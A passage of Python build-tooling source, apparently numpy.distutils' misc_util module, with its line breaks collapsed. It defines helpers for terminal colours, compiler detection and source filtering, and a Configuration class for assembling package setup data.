015f:18bbfc28 # Details: Python 2.3.3 [GCC 3.3.1 (cygming special)] # ssh to Win32 machine from debian # curses.version is 2.2 # CYGWIN_98-4.10, release 1.5.7(0.109/3/2)) return 0 if hasattr(sys.stdout,'isatty') and sys.stdout.isatty(): try: import curses curses.setupterm() if (curses.tigetnum("colors") >= 0 and curses.tigetnum("pairs") >= 0 and ((curses.tigetstr("setf") is not None and curses.tigetstr("setb") is not None) or (curses.tigetstr("setaf") is not None and curses.tigetstr("setab") is not None) or curses.tigetstr("scp") is not None)): return 1 except Exception: pass return 0 if terminal_has_colors(): _colour_codes = dict(black=0, red=1, green=2, yellow=3, blue=4, magenta=5, cyan=6, white=7, default=9) def colour_text(s, fg=None, bg=None, bold=False): seq = [] if bold: seq.append('1') if fg: fgcode = 30 + _colour_codes.get(fg.lower(), 0) seq.append(str(fgcode)) if bg: bgcode = 40 + _colour_codes.get(fg.lower(), 7) seq.append(str(bgcode)) if seq: return '\x1b[%sm%s\x1b[0m' % (';'.join(seq), s) else: return s else: def colour_text(s, fg=None, bg=None): return s def default_text(s): return colour_text(s, 'default') def red_text(s): return colour_text(s, 'red') def green_text(s): return colour_text(s, 'green') def yellow_text(s): return colour_text(s, 'yellow') def cyan_text(s): return colour_text(s, 'cyan') def blue_text(s): return colour_text(s, 'blue') ######################### def cyg2win32(path): if sys.platform=='cygwin' and path.startswith('/cygdrive'): path = path[10] + ':' + os.path.normcase(path[11:]) return path def mingw32(): """Return true when using mingw32 environment. """ if sys.platform=='win32': if os.environ.get('OSTYPE','')=='msys': return True if os.environ.get('MSYSTEM','')=='MINGW32': return True return False def msvc_runtime_library(): "Return name of MSVC runtime library if Python was built with MSVC >= 7" msc_pos = sys.version.find('MSC v.') if msc_pos != -1: msc_ver = sys.version[msc_pos+6:msc_pos+10] lib = {'1300' : 'msvcr70', # MSVC 7.0 '1310' : 'msvcr71', # MSVC 7.1 '1400' : 'msvcr80', # MSVC 8 '1500' : 'msvcr90', # MSVC 9 (VS 2008) }.get(msc_ver, None) else: lib = None return lib def msvc_on_amd64(): if not (sys.platform=='win32' or os.name=='nt'): return if get_build_architecture() != 'AMD64': return if 'DISTUTILS_USE_SDK' in os.environ: return # try to avoid _MSVCCompiler__root attribute error print('Forcing DISTUTILS_USE_SDK=1') os.environ['DISTUTILS_USE_SDK']='1' return ######################### #XXX need support for .C that is also C++ cxx_ext_match = re.compile(r'.*[.](cpp|cxx|cc)\Z',re.I).match fortran_ext_match = re.compile(r'.*[.](f90|f95|f77|for|ftn|f)\Z',re.I).match f90_ext_match = re.compile(r'.*[.](f90|f95)\Z',re.I).match f90_module_name_match = re.compile(r'\s*module\s*(?P<name>[\w_]+)',re.I).match def _get_f90_modules(source): """Return a list of Fortran f90 module names that given source file defines. """ if not f90_ext_match(source): return [] modules = [] f = open(source,'r') f_readlines = getattr(f,'xreadlines',f.readlines) for line in f_readlines(): m = f90_module_name_match(line) if m: name = m.group('name') modules.append(name) # break # XXX can we assume that there is one module per file? f.close() return modules def is_string(s): return isinstance(s, str) def all_strings(lst): """Return True if all items in lst are string objects. """ for item in lst: if not is_string(item): return False return True def is_sequence(seq): if is_string(seq): return False try: len(seq) except: return False return True def is_glob_pattern(s): return is_string(s) and ('*' in s or '?' is s) def as_list(seq): if is_sequence(seq): return list(seq) else: return [seq] def get_language(sources): # not used in numpy/scipy packages, use build_ext.detect_language instead """Determine language value (c,f77,f90) from sources """ language = None for source in sources: if isinstance(source, str): if f90_ext_match(source): language = 'f90' break elif fortran_ext_match(source): language = 'f77' return language def has_f_sources(sources): """Return True if sources contains Fortran files """ for source in sources: if fortran_ext_match(source): return True return False def has_cxx_sources(sources): """Return True if sources contains C++ files """ for source in sources: if cxx_ext_match(source): return True return False def filter_sources(sources): """Return four lists of filenames containing C, C++, Fortran, and Fortran 90 module sources, respectively. """ c_sources = [] cxx_sources = [] f_sources = [] fmodule_sources = [] for source in sources: if fortran_ext_match(source): modules = _get_f90_modules(source) if modules: fmodule_sources.append(source) else: f_sources.append(source) elif cxx_ext_match(source): cxx_sources.append(source) else: c_sources.append(source) return c_sources, cxx_sources, f_sources, fmodule_sources def _get_headers(directory_list): # get *.h files from list of directories headers = [] for d in directory_list: head = glob.glob(os.path.join(d,"*.h")) #XXX: *.hpp files?? headers.extend(head) return headers def _get_directories(list_of_sources): # get unique directories from list of sources. direcs = [] for f in list_of_sources: d = os.path.split(f) if d[0] != '' and not d[0] in direcs: direcs.append(d[0]) return direcs def get_dependencies(sources): #XXX scan sources for include statements return _get_headers(_get_directories(sources)) def is_local_src_dir(directory): """Return true if directory is local directory. """ if not is_string(directory): return False abs_dir = os.path.abspath(directory) c = os.path.commonprefix([os.getcwd(),abs_dir]) new_dir = abs_dir[len(c):].split(os.sep) if new_dir and not new_dir[0]: new_dir = new_dir[1:] if new_dir and new_dir[0]=='build': return False new_dir = os.sep.join(new_dir) return os.path.isdir(new_dir) def general_source_files(top_path): pruned_directories = {'CVS':1, '.svn':1, 'build':1} prune_file_pat = re.compile(r'(?:[~#]|\.py[co]|\.o)$') for dirpath, dirnames, filenames in os.walk(top_path, topdown=True): pruned = [ d for d in dirnames if d not in pruned_directories ] dirnames[:] = pruned for f in filenames: if not prune_file_pat.search(f): yield os.path.join(dirpath, f) def general_source_directories_files(top_path): """Return a directory name relative to top_path and files contained. """ pruned_directories = ['CVS','.svn','build'] prune_file_pat = re.compile(r'(?:[~#]|\.py[co]|\.o)$') for dirpath, dirnames, filenames in os.walk(top_path, topdown=True): pruned = [ d for d in dirnames if d not in pruned_directories ] dirnames[:] = pruned for d in dirnames: dpath = os.path.join(dirpath, d) rpath = rel_path(dpath, top_path) files = [] for f in os.listdir(dpath): fn = os.path.join(dpath,f) if os.path.isfile(fn) and not prune_file_pat.search(fn): files.append(fn) yield rpath, files dpath = top_path rpath = rel_path(dpath, top_path) filenames = [os.path.join(dpath,f) for f in os.listdir(dpath) \ if not prune_file_pat.search(f)] files = [f for f in filenames if os.path.isfile(f)] yield rpath, files def get_ext_source_files(ext): # Get sources and any include files in the same directory. filenames = [] sources = filter(is_string, ext.sources) filenames.extend(sources) filenames.extend(get_dependencies(sources)) for d in ext.depends: if is_local_src_dir(d): filenames.extend(list(general_source_files(d))) elif os.path.isfile(d): filenames.append(d) return filenames def get_script_files(scripts): scripts = filter(is_string, scripts) return scripts def get_lib_source_files(lib): filenames = [] sources = lib[1].get('sources',[]) sources = filter(is_string, sources) filenames.extend(sources) filenames.extend(get_dependencies(sources)) depends = lib[1].get('depends',[]) for d in depends: if is_local_src_dir(d): filenames.extend(list(general_source_files(d))) elif os.path.isfile(d): filenames.append(d) return filenames def get_data_files(data): if is_string(data): return [data] sources = data[1] filenames = [] for s in sources: if hasattr(s, '__call__'): continue if is_local_src_dir(s): filenames.extend(list(general_source_files(s))) elif is_string(s): if os.path.isfile(s): filenames.append(s) else: print('Not existing data file:',s) else: raise TypeError(repr(s)) return filenames def dot_join(*args): return '.'.join([a for a in args if a]) def get_frame(level=0): """Return frame object from call stack with given level. """ try: return sys._getframe(level+1) except AttributeError: frame = sys.exc_info()[2].tb_frame for _ in range(level+1): frame = frame.f_back return frame class SconsInfo(object): """ Container object holding build info for building a package with scons. Parameters ---------- scons_path : str or None Path to scons script, relative to the directory of setup.py. If None, no scons script is specified. This can be useful to add only pre- and post-hooks to a configuration. parent_name : str or None Name of the parent package (for example "numpy"). pre_hook : sequence of callables or None Callables that are executed before scons is invoked. Each callable should be defined as ``callable(*args, **kw)``. post_hook : sequence of callables or None Callables that are executed after scons is invoked. Each callable should be defined as ``callable(*args, **kw)``. source_files : list of str or None List of paths to source files, relative to the directory of setup.py. pkg_path : str or None Path to the package for which the `SconsInfo` instance holds the build info, relative to the directory of setup.py. Notes ----- All parameters are available as attributes of a `SconsInfo` instance. """ def __init__(self, scons_path, parent_name, pre_hook, post_hook, source_files, pkg_path): self.scons_path = scons_path self.parent_name = parent_name self.pre_hook = pre_hook self.post_hook = post_hook self.source_files = source_files if pkg_path: self.pkg_path = pkg_path else: if scons_path: self.pkg_path = os.path.dirname(scons_path) else: self.pkg_path = '' ###################### class Configuration(object): _list_keys = ['packages', 'ext_modules', 'data_files', 'include_dirs', 'libraries', 'headers', 'scripts', 'py_modules', 'scons_data', 'installed_libraries'] _dict_keys = ['package_dir', 'installed_pkg_config'] _extra_keys = ['name', 'version'] numpy_include_dirs = [] def __init__(self, package_name=None, parent_name=None, top_path=None, package_path=None, caller_level=1, setup_name='setup.py', **attrs): """Construct configuration instance of a package. package_name -- name of the package Ex.: 'distutils' parent_name -- name of the parent package Ex.: 'numpy' top_path -- directory of the toplevel package Ex.: the directory where the numpy package source sits package_path -- directory of package. Will be computed by magic from the directory of the caller module if not specified Ex.: the directory where numpy.distutils is caller_level -- frame level to caller namespace, internal parameter. """ self.name = dot_join(parent_name, package_name) self.version = None caller_frame = get_frame(caller_level) self.local_path = get_path_from_frame(caller_frame, top_path) # local_path -- directory of a file (usually setup.py) that # defines a configuration() function. # local_path -- directory of a file (usually setup.py) that # defines a configuration() function. if top_path is None: top_path = self.local_path self.local_path = '' if package_path is None: package_path = self.local_path elif os.path.isdir(njoin(self.local_path,package_path)): package_path = njoin(self.local_path,package_path) if not os.path.isdir(package_path or '.'): raise ValueError("%r is not a directory" % (package_path,)) self.top_path = top_path self.package_path = package_path # this is the relative path in the installed package self.path_in_package = os.path.join(*self.name.split('.')) self.list_keys = self._list_keys[:] self.dict_keys = self._dict_keys[:] for n in self.list_keys: v = copy.copy(attrs.get(n, [])) setattr(self, n, as_list(v)) for n in self.dict_keys: v = copy.copy(attrs.get(n, {})) setattr(self, n, v) known_keys = self.list_keys + self.dict_keys self.extra_keys = self._extra_keys[:] for n in attrs.keys(): if n in known_keys: continue a = attrs[n] setattr(self,n,a) if isinstance(a, list): self.list_keys.append(n) elif isinstance(a, dict): self.dict_keys.append(n) else: self.extra_keys.append(n) if os.path.exists(njoin(package_path,'__init__.py')): self.packages.append(self.name) self.package_dir[self.name] = package_path self.options = dict( ignore_setup_xxx_py = False, assume_default_configuration = False, delegate_options_to_subpackages = False, quiet = False, ) caller_instance = None for i in range(1,3): try: f = get_frame(i) except ValueError: break try: caller_instance = eval('self',f.f_globals,f.f_locals) break except NameError: pass if isinstance(caller_instance, self.__class__): if caller_instance.options['delegate_options_to_subpackages']: self.set_options(**caller_instance.options) self.setup_name = setup_name def todict(self): """ Return a dictionary compatible with the keyword arguments of distutils setup function. Examples -------- >>> setup(**config.todict()) #doctest: +SKIP """ self._optimize_data_files() d = {} known_keys = self.list_keys + self.dict_keys + self.extra_keys for n in known_keys: a = getattr(self,n) if a: d[n] = a return d def info(self, message): if not self.options['quiet']: print(message) def warn(self, message): sys.stderr.write('Warning: %s' % (message,)) def set_options(self, **options): """ Configure Configuration instance. The following options are available: - ignore_setup_xxx_py - assume_default_configuration - delegate_options_to_subpackages - quiet """ for key, value in options.items(): if key in self.options: self.options[key] = value else: raise ValueError('Unknown option: '+key) def get_distribution(self): """Return the distutils distribution object for self.""" from numpy.distutils.core import get_distribution return get_distribution() def _wildcard_get_subpackage(self, subpackage_name, parent_name, caller_level = 1): l = subpackage_name.split('.') subpackage_path = njoin([self.local_path]+l) dirs = filter(os.path.isdir,glob.glob(subpackage_path)) config_list = [] for d in dirs: if not os.path.isfile(njoin(d,'__init__.py')): continue if 'build' in d.split(os.sep): continue n = '.'.join(d.split(os.sep)[-len(l):]) c = self.get_subpackage(n, parent_name = parent_name, caller_level = caller_level+1) config_list.extend(c) return config_list def _get_configuration_from_setup_py(self, setup_py, subpackage_name, subpackage_path, parent_name, caller_level = 1): # In case setup_py imports local modules: sys.path.insert(0,os.path.dirname(setup_py)) try: fo_setup_py = open(setup_py, 'U') setup_name = os.path.splitext(os.path.basename(setup_py))[0] n = dot_join(self.name,subpackage_name,setup_name) setup_module = imp.load_module('_'.join(n.split('.')), fo_setup_py, setup_py, ('.py', 'U', 1)) fo_setup_py.close() if not hasattr(setup_module,'configuration'): if not self.options['assume_default_configuration']: self.warn('Assuming default configuration '\ '(%s does not define configuration())'\ % (setup_module)) config = Configuration(subpackage_name, parent_name, self.top_path, subpackage_path, caller_level = caller_level + 1) else: pn = dot_join(*([parent_name] + subpackage_name.split('.')[:-1])) args = (pn,) def fix_args_py2(args): if setup_module.configuration.func_code.co_argcount > 1: args = args + (self.top_path,) return args def fix_args_py3(args): if setup_module.configuration.__code__.co_argcount > 1: args = args + (self.top_path,) return args if sys.version_info[0] < 3: args = fix_args_py2(args) else: args = fix_args_py3(args) config = setup_module.configuration(*args) if config.name!=dot_join(parent_name,subpackage_name): self.warn('Subpackage %r configuration returned as %r' % \ (dot_join(parent_name,subpackage_name), config.name)) finally: del sys.path[0] return config def get_subpackage(self,subpackage_name, subpackage_path=None, parent_name=None, caller_level = 1): """Return list of subpackage configurations. Parameters ---------- subpackage_name: str,None Name of the subpackage to get the configuration. '*' in subpackage_name is handled as a wildcard. subpackage_path: str If None, then the path is assumed to be the local path plus the subpackage_name. If a setup.py file is not found in the subpackage_path, then a default configuration is used. parent_name: str Parent name. """ if subpackage_name is None: if subpackage_path is None: raise ValueError( "either subpackage_name or subpackage_path must be specified") subpackage_name = os.path.basename(subpackage_path) # handle wildcards l = subpackage_name.split('.') if subpackage_path is None and '*' in subpackage_name: return self._wildcard_get_subpackage(subpackage_name, parent_name, caller_level = caller_level+1) assert '*' not in subpackage_name,repr((subpackage_name, subpackage_path,parent_name)) if subpackage_path is None: subpackage_path = njoin([self.local_path] + l) else: subpackage_path = njoin([subpackage_path] + l[:-1]) subpackage_path = self.paths([subpackage_path])[0] setup_py = njoin(subpackage_path, self.setup_name) if not self.options['ignore_setup_xxx_py']: if not os.path.isfile(setup_py): setup_py = njoin(subpackage_path, 'setup_%s.py' % (subpackage_name)) if not os.path.isfile(setup_py): if not self.options['assume_default_configuration']: self.warn('Assuming default configuration '\ '(%s/{setup_%s,setup}.py was not found)' \ % (os.path.dirname(setup_py), subpackage_name)) config = Configuration(subpackage_name, parent_name, self.top_path, subpackage_path, caller_level = caller_level+1) else: config = self._get_configuration_from_setup_py( setup_py, subpackage_name, subpackage_path, parent_name, caller_level = caller_level + 1) if config: return [config] else: return [] def add_subpackage(self,subpackage_name, subpackage_path=None, standalone = False): """Add a sub-package to the current Configuration instance. This is useful in a setup.py script for adding sub-packages to a package. Parameters ---------- subpackage_name: str name of the subpackage subpackage_path: str if given, the subpackage path such as the subpackage is in subpackage_path / subpackage_name. If None,the subpackage is assumed to be located in the local path / subpackage_name. standalone: bool """ if standalone: parent_name = None else: parent_name = self.name config_list = self.get_subpackage(subpackage_name,subpackage_path, parent_name = parent_name, caller_level = 2) if not config_list: self.warn('No configuration returned, assuming unavailable.') for config in config_list: d = config if isinstance(config, Configuration): d = config.todict() assert isinstance(d,dict),repr(type(d)) self.info('Appending %s configuration to %s' \ % (d.get('name'), self.name)) self.dict_append(**d) dist = self.get_distribution() if dist is not None: self.warn('distutils distribution has been initialized,'\ ' it may be too late to add a subpackage '+ subpackage_name) def add_data_dir(self,data_path): """Recursively add files under data_path to data_files list. Recursively add files under data_path to the list of data_files to be installed (and distributed). The data_path can be either a relative path-name, or an absolute path-name, or a 2-tuple where the first argument shows where in the install directory the data directory should be installed to. Parameters ---------- data_path: seq,str Argument can be either * 2-sequence (<datadir suffix>,<path to data directory>) * path to data directory where python datadir suffix defaults to package dir. Notes ----- Rules for installation paths: foo/bar -> (foo/bar, foo/bar) -> parent/foo/bar (gun, foo/bar) -> parent/gun foo/* -> (foo/a, foo/a), (foo/b, foo/b) -> parent/foo/a, parent/foo/b (gun, foo/*) -> (gun, foo/a), (gun, foo/b) -> gun (gun/*, foo/*) -> parent/gun/a, parent/gun/b /foo/bar -> (bar, /foo/bar) -> parent/bar (gun, /foo/bar) -> parent/gun (fun/*/gun/*, sun/foo/bar) -> parent/fun/foo/gun/bar Examples -------- For example suppose the source directory contains fun/foo.dat and fun/bar/car.dat:: >>> self.add_data_dir('fun') #doctest: +SKIP >>> self.add_data_dir(('sun', 'fun')) #doctest: +SKIP >>> self.add_data_dir(('gun', '/full/path/to/fun'))#doctest: +SKIP Will install data-files to the locations:: <package install directory>/ fun/ foo.dat bar/ car.dat sun/ foo.dat bar/ car.dat gun/ foo.dat car.dat """ if is_sequence(data_path): d, data_path = data_path else: d = None if is_sequence(data_path): [self.add_data_dir((d,p)) for p in data_path] return if not is_string(data_path): raise TypeError("not a string: %r" % (data_path,)) if d is None: if os.path.isabs(data_path): return self.add_data_dir((os.path.basename(data_path), data_path)) return self.add_data_dir((data_path, data_path)) paths = self.paths(data_path, include_non_existing=False) if is_glob_pattern(data_path): if is_glob_pattern(d): pattern_list = allpath(d).split(os.sep) pattern_list.reverse() # /a/*//b/ -> /a/*/b rl = range(len(pattern_list)-1); rl.reverse() for i in rl: if not pattern_list[i]: del pattern_list[i] # for path in paths: if not os.path.isdir(path): print('Not a directory, skipping',path) continue rpath = rel_path(path, self.local_path) path_list = rpath.split(os.sep) path_list.reverse() target_list = [] i = 0 for s in pattern_list: if is_glob_pattern(s): if i>=len(path_list): raise ValueError('cannot fill pattern %r with %r' \ % (d, path)) target_list.append(path_list[i]) else: assert s==path_list[i],repr((s,path_list[i],data_path,d,path,rpath)) target_list.append(s) i += 1 if path_list[i:]: self.warn('mismatch of pattern_list=%s and path_list=%s'\ % (pattern_list,path_list)) target_list.reverse() self.add_data_dir((os.sep.join(target_list),path)) else: for path in paths: self.add_data_dir((d,path)) return assert not is_glob_pattern(d),repr(d) dist = self.get_distribution() if dist is not None and dist.data_files is not None: data_files = dist.data_files else: data_files = self.data_files for path in paths: for d1,f in list(general_source_directories_files(path)): target_path = os.path.join(self.path_in_package,d,d1) data_files.append((target_path, f)) def _optimize_data_files(self): data_dict = {} for p,files in self.data_files: if p not in data_dict: data_dict[p] = set() for f in files: data_dict[p].add(f) self.data_files[:] = [(p,list(files)) for p,files in data_dict.items()] def add_data_files(self,*files): """Add data files to configuration data_files. Parameters ---------- files: sequence Argument(s) can be either * 2-sequence (<datadir prefix>,<path to data file(s)>) * paths to data files where python datadir prefix defaults to package dir. Notes ----- The form of each element of the files sequence is very flexible allowing many combinations of where to get the files from the package and where they should ultimately be installed on the system. The most basic usage is for an element of the files argument sequence to be a simple filename. This will cause that file from the local path to be installed to the installation path of the self.name package (package path). The file argument can also be a relative path in which case the entire relative path will be installed into the package directory. Finally, the file can be an absolute path name in which case the file will be found at the absolute path name but installed to the package path. This basic behavior can be augmented by passing a 2-tuple in as the file argument. The first element of the tuple should specify the relative path (under the package install directory) where the remaining sequence of files should be installed to (it has nothing to do with the file-names in the source distribution). The second element of the tuple is the sequence of files that should be installed. The files in this sequence can be filenames, relative paths, or absolute paths. For absolute paths the file will be installed in the top-level package installation directory (regardless of the first argument). Filenames and relative path names will be installed in the package install directory under the path name given as the first element of the tuple. Rules for installation paths: #. file.txt -> (., file.txt)-> parent/file.txt #. foo/file.txt -> (foo, foo/file.txt) -> parent/foo/file.txt #. /foo/bar/file.txt -> (., /foo/bar/file.txt) -> parent/file.txt #. *.txt -> parent/a.txt, parent/b.txt #. foo/*.txt -> parent/foo/a.txt, parent/foo/b.txt #. */*.txt -> (*, */*.txt) -> parent/c/a.txt, parent/d/b.txt #. (sun, file.txt) -> parent/sun/file.txt #. (sun, bar/file.txt) -> parent/sun/file.txt #. (sun, /foo/bar/file.txt) -> parent/sun/file.txt #. (sun, *.txt) -> parent/sun/a.txt, parent/sun/b.txt #. (sun, bar/*.txt) -> parent/sun/a.txt, parent/sun/b.txt #. (sun/*, */*.txt) -> parent/sun/c/a.txt, parent/d/b.txt An additional feature is that the path to a data-file can actually be a function that takes no arguments and returns the actual path(s) to the data-files. This is useful when the data files are generated while building the package. Examples -------- Add files to the list of data_files to be included with the package. >>> self.add_data_files('foo.dat', ... ('fun', ['gun.dat', 'nun/pun.dat', '/tmp/sun.dat']), ... 'bar/cat.dat', ... '/full/path/to/can.dat') #doctest: +SKIP will install these data files to:: <package install directory>/ foo.dat fun/ gun.dat nun/ pun.dat sun.dat bar/ car.dat can.dat where <package install directory> is the package (or sub-package) directory such as '/usr/lib/python2.4/site-packages/mypackage' ('C: \\Python2.4 \\Lib \\site-packages \\mypackage') or '/usr/lib/python2.4/site- packages/mypackage/mysubpackage' ('C: \\Python2.4 \\Lib \\site-packages \\mypackage \\mysubpackage'). """ if len(files)>1: for f in files: self.add_data_files(f) return assert len(files)==1 if is_sequence(files[0]): d,files = files[0] else: d = None if is_string(files): filepat = files elif is_sequence(files): if len(files)==1: filepat = files[0] else: for f in files: self.add_data_files((d,f)) return else: raise TypeError(repr(type(files))) if d is None: if hasattr(filepat, '__call__'): d = '' elif os.path.isabs(filepat): d = '' else: d = os.path.dirname(filepat) self.add_data_files((d,files)) return paths = self.paths(filepat, include_non_existing=False) if is_glob_pattern(filepat): if is_glob_pattern(d): pattern_list = d.split(os.sep) pattern_list.reverse() for path in paths: path_list = path.split(os.sep) path_list.reverse() path_list.pop() # filename target_list = [] i = 0 for s in pattern_list: if is_glob_pattern(s): target_list.append(path_list[i]) i += 1 else: target_list.append(s) target_list.reverse() self.add_data_files((os.sep.join(target_list), path)) else: self.add_data_files((d,paths)) return assert not is_glob_pattern(d),repr((d,filepat)) dist = self.get_distribution() if dist is not None and dist.data_files is not None: data_files = dist.data_files else: data_files = self.data_files data_files.append((os.path.join(self.path_in_package,d),paths)) ### XXX Implement add_py_modules def add_include_dirs(self,*paths): """Add paths to configuration include directories. Add the given sequence of paths to the beginning of the include_dirs list. This list will be visible to all extension modules of the current package. """ include_dirs = self.paths(paths) dist = self.get_distribution() if dist is not None: if dist.include_dirs is None: dist.include_dirs = [] dist.include_dirs.extend(include_dirs) else: self.include_dirs.extend(include_dirs) def add_numarray_include_dirs(self): import numpy.numarray.util as nnu self.add_include_dirs(*nnu.get_numarray_include_dirs()) def add_headers(self,*files): """Add installable headers to configuration. Add the given sequence of files to the beginning of the headers list. By default, headers will be installed under <python- include>/<self.name.replace('.','/')>/ directory. If an item of files is a tuple, then its first argument specifies the actual installation location relative to the <python-include> path. Parameters ---------- files: str, seq Argument(s) can be either: * 2-sequence (<includedir suffix>,<path to header file(s)>) * path(s) to header file(s) where python includedir suffix will default to package name. """ headers = [] for path in files: if is_string(path): [headers.append((self.name,p)) for p in self.paths(path)] else: if not isinstance(path, (tuple, list)) or len(path) != 2: raise TypeError(repr(path)) [headers.append((path[0],p)) for p in self.paths(path[1])] dist = self.get_distribution() if dist is not None: if dist.headers is None: dist.headers = [] dist.headers.extend(headers) else: self.headers.extend(headers) def paths(self,*paths,**kws): """Apply glob to paths and prepend local_path if needed. Applies glob.glob(...) to each path in the sequence (if needed) and pre-pends the local_path if needed. Because this is called on all source lists, this allows wildcard characters to be specified in lists of sources for extension modules and libraries and scripts and allows path-names be relative to the source directory. """ include_non_existing = kws.get('include_non_existing',True) return gpaths(paths, local_path = self.local_path, include_non_existing=include_non_existing) def _fix_paths_dict(self,kw): for k in kw.keys(): v = kw[k] if k in ['sources','depends','include_dirs','library_dirs', 'module_dirs','extra_objects']: new_v = self.paths(v) kw[k] = new_v def add_extension(self,name,sources,**kw): """Add extension to configuration. Create and add an Extension instance to the ext_modules list. This method also takes the following optional keyword arguments that are passed on to the Extension constructor. Parameters ---------- name: str name of the extension sources: seq list of the sources. The list of sources may contain functions (called source generators) which must take an extension instance and a build directory as inputs and return a source file or list of source files or None. If None is returned then no sources are generated. If the Extension instance has no sources after processing all source generators, then no extension module is built. include_dirs: define_macros: undef_macros: library_dirs: libraries: runtime_library_dirs: extra_objects: extra_compile_args: extra_link_args: export_symbols: swig_opts: depends: The depends list contains paths to files or directories that the sources of the extension module depend on. If any path in the depends list is newer than the extension module, then the module will be rebuilt. language: f2py_options: module_dirs: extra_info: dict,list dict or list of dict of keywords to be appended to keywords. Notes ----- The self.paths(...) method is applied to all lists that may contain paths. """ ext_args = copy.copy(kw) ext_args['name'] = dot_join(self.name,name) ext_args['sources'] = sources if 'extra_info' in ext_args: extra_info = ext_args['extra_info'] del ext_args['extra_info'] if isinstance(extra_info, dict): extra_info = [extra_info] for info in extra_info: assert isinstance(info, dict), repr(info) dict_append(ext_args,**info) self._fix_paths_dict(ext_args) # Resolve out-of-tree dependencies libraries = ext_args.get('libraries',[]) libnames = [] ext_args['libraries'] = [] for libname in libraries: if isinstance(libname,tuple): self._fix_paths_dict(libname[1]) # Handle library names of the form libname@relative/path/to/library if '@' in libname: lname,lpath = libname.split('@',1) lpath = os.path.abspath(njoin(self.local_path,lpath)) if os.path.isdir(lpath): c = self.get_subpackage(None,lpath, caller_level = 2) if isinstance(c,Configuration): c = c.todict() for l in [l[0] for l in c.get('libraries',[])]: llname = l.split('__OF__',1)[0] if llname == lname: c.pop('name',None) dict_append(ext_args,**c) break continue libnames.append(libname) ext_args['libraries'] = libnames + ext_args['libraries'] from numpy.distutils.core import Extension ext = Extension(**ext_args) self.ext_modules.append(ext) dist = self.get_distribution() if dist is not None: self.warn('distutils distribution has been initialized,'\ ' it may be too late to add an extension '+name) return ext def add_library(self,name,sources,**build_info): """ Add library to configuration. Parameters ---------- name : str Name of the extension. sources : sequence List of the sources. The list of sources may contain functions (called source generators) which must take an extension instance and a build directory as inputs and return a source file or list of source files or None. If None is returned then no sources are generated. If the Extension instance has no sources after processing all source generators, then no extension module is built. build_info : dict, optional The following keys are allowed: * depends * macros * include_dirs * extra_compiler_args * f2py_options * language """ self._add_library(name, sources, None, build_info) dist = self.get_distribution() if dist is not None: self.warn('distutils distribution has been initialized,'\ ' it may be too late to add a library '+ name) def _add_library(self, name, sources, install_dir, build_info): """Common implementation for add_library and add_installed_library. Do not use directly""" build_info = copy.copy(build_info) name = name #+ '__OF__' + self.name build_info['sources'] = sources # Sometimes, depends is not set up to an empty list by default, and if # depends is not given to add_library, distutils barfs (#1134) if not 'depends' in build_info: build_info['depends'] = [] self._fix_paths_dict(build_info) # Add to libraries list so that it is build with build_clib self.libraries.append((name, build_info)) def add_installed_library(self, name, sources, install_dir, build_info=None): """ Similar to add_library, but the specified library is installed. Most C libraries used with `distutils` are only used to build python extensions, but libraries built through this method will be installed so that they can be reused by third-party packages. Parameters ---------- name : str Name of the installed library. sources : sequence List of the library's source files. See `add_library` for details. install_dir : str Path to install the library, relative to the current sub-package. build_info : dict, optional The following keys are allowed: * depends * macros * include_dirs * extra_compiler_args * f2py_options * language Returns ------- None See Also -------- add_library, add_npy_pkg_config, get_info Notes ----- The best way to encode the options required to link against the specified C libraries is to use a "libname.ini" file, and use `get_info` to retrieve the required options (see `add_npy_pkg_config` for more information). """ if not build_info: build_info = {} install_dir = os.path.join(self.package_path, install_dir) self._add_library(name, sources, install_dir, build_info) self.installed_libraries.append(InstallableLib(name, build_info, install_dir)) def add_npy_pkg_config(self, template, install_dir, subst_dict=None): """ Generate and install a npy-pkg config file from a template. The config file generated from `template` is installed in the given install directory, using `subst_dict` for variable substitution. Parameters ---------- template : str The path of the template, relatively to the current package path. install_dir : str Where to install the npy-pkg config file, relatively to the current package path. subst_dict : dict, optional If given, any string of the form ``@key@`` will be replaced by ``subst_dict[key]`` in the template file when installed. The install prefix is always available through the variable ``@prefix@``, since the install prefix is not easy to get reliably from setup.py. See also -------- add_installed_library, get_info Notes ----- This works for both standard installs and in-place builds, i.e. the ``@prefix@`` refer to the source directory for in-place builds. Examples -------- :: config.add_npy_pkg_config('foo.ini.in', 'lib', {'foo': bar}) Assuming the foo.ini.in file has the following content:: [meta] Name=@foo@ Version=1.0 Description=dummy description [default] Cflags=-I@prefix@/include Libs= The generated file will have the following content:: [meta] Name=bar Version=1.0 Description=dummy description [default] Cflags=-Iprefix_dir/include Libs= and will be installed as foo.ini in the 'lib' subpath. """ if subst_dict is None: subst_dict = {} basename = os.path.splitext(template)[0] template = os.path.join(self.package_path, template) if self.name in self.installed_pkg_config: self.installed_pkg_config[self.name].append((template, install_dir, subst_dict)) else: self.installed_pkg_config[self.name] = [(template, install_dir, subst_dict)] def add_scons_installed_library(self, name, install_dir): """ Add a scons-built installable library to distutils. Parameters ---------- name : str The name of the library. install_dir : str Path to install the library, relative to the current sub-package. """ install_dir = os.path.join(self.package_path, install_dir) self.installed_libraries.append(InstallableLib(name, {}, install_dir)) def add_sconscript(self, sconscript, subpackage_path=None, standalone = False, pre_hook = None, post_hook = None, source_files = None, package_path=None): """Add a sconscript to configuration. pre_hook and post hook should be sequences of callable, which will be use before and after executing scons. The callable should be defined as callable(*args, **kw). It is ugly, but well, hooks are ugly anyway... sconscript can be None, which can be useful to add only post/pre hooks.""" if standalone: parent_name = None else: parent_name = self.name dist = self.get_distribution() # Convert the sconscript name to a relative filename (relative from top # setup.py's directory) fullsconsname = self.paths(sconscript)[0] # XXX: Think about a way to automatically register source files from # scons... full_source_files = [] if source_files: full_source_files.extend([self.paths(i)[0] for i in source_files]) scons_info = SconsInfo(fullsconsname, parent_name, pre_hook, post_hook, full_source_files, package_path) if dist is not None: if dist.scons_data is None: dist.scons_data = [] dist.scons_data.append(scons_info) self.warn('distutils distribution has been initialized,'\ ' it may be too late to add a subpackage '+ subpackage_name) # XXX: we add a fake extension, to correctly initialize some # options in distutils command. dist.add_extension('', sources = []) else: self.scons_data.append(scons_info) # XXX: we add a fake extension, to correctly initialize some # options in distutils command. self.add_extension('', sources = []) def add_scripts(self,*files): """Add scripts to configuration. Add the sequence of files to the beginning of the scripts list. Scripts will be installed under the <prefix>/bin/ directory. """ scripts = self.paths(files) dist = self.get_distribution() if dist is not None: if dist.scripts is None: dist.scripts = [] dist.scripts.extend(scripts) else: self.scripts.extend(scripts) def dict_append(self,**dict): for key in self.list_keys: a = getattr(self,key) 